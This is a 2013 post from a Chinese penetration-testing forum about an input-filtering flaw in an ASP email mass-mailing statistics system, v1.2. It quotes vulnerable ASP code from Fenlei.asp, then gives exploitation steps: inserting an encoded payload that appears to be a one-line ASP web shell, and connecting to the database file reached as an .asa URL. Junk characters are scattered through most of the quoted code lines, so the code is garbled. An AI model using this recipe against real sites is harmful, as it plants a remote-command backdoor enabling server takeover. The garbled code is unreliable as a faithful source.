中国网络渗透测试联盟

标题: 铜板儿网邮件群发统计系统 v1.2 漏洞 [打印本页]

---

作者: admin    时间: 2013-3-14 20:14
标题: 铜板儿网邮件群发统计系统 v1.2 漏洞
'Fenlei.asp

' q# {: U) T9 o! C$ eIF Request.QueryString("Action")="del" Then
& d- e' Q7 \+ E$ b) s3 Q9 kID=Request.QueryString("ID")
$ f# R" b' a$ J( zIF Countss ("tui","Fenlei",ID )<>0 then
) W- Z( a3 i3 Z# g'略
0 A% q3 k0 X# [8 y! k' l  W9 GIF Request.QueryString("Action")="Add" Then
0 g: h+ D6 ?. _1 E, iTname=Request.Form("Typename")
) y1 a5 ]5 |+ H! P# ^1 ?# ISet Rs=Server.CreateObject("adodb.Recordset")
: n4 X% d. Y( X+ O2 p4 }Sql="Select * From Fenlei Order by id Desc "
) m& X! M. O- @9 b$ ]  FRs.Open Sql,Conn,1,3
% w( i0 h) x& Z; t5 mRs.Addnew
Rs("Typename")=Tname
+ c. I! i3 {0 h+ S& O'略
9 |& J6 a( R7 b/ H- W" p1 vSet Rs=Server.CreateObject("adodb.Recordset")
" a2 q# R& W9 R+ TSql="Select * From Fenlei Order by id Desc "
8 ?$ \, c( @+ G7 tRs.Open Sql,Conn,1,1
'略
%>
( S; F# K+ A' r


& i% Q& p1 v7 _2 k! e# V没有过滤，直接写入数据库。
4 }& z- p8 k3 `! M5 d6 u' l3 R
: w: G* B7 }+ Z8 ]0 U, H% F2 ~利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>

4 Y8 ?# ]& M5 w/ n' b# T) L& \, |
连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
' o' S! @% W  i8 t# `'install.asp

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2